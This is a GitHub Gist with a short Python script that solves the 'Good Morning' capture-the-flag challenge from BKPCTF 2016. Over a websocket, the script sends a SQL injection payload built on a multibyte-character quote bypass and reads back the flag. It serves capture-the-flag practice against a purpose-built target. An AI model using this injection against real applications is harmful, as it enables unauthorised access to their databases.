Created
March 9, 2016 01:31
-
-
Save k3an3/46990c5ea3991465a114 to your computer and use it in GitHub Desktop.
Solution to the "Good Morning" challenge for BKPCTF 2016
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import json | |
from websocket import create_connection | |
url = "ws://52.86.232.163:32800/ws" | |
sol = '¥\" or 1=1 -- -' | |
ws = create_connection(url) | |
ws.send(json.dumps({'type': 'get_answer', 'question': 'favorite color', 'answer': sol})) | |
print(ws.recv()) | |
# The flag: | |
print(ws.recv()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment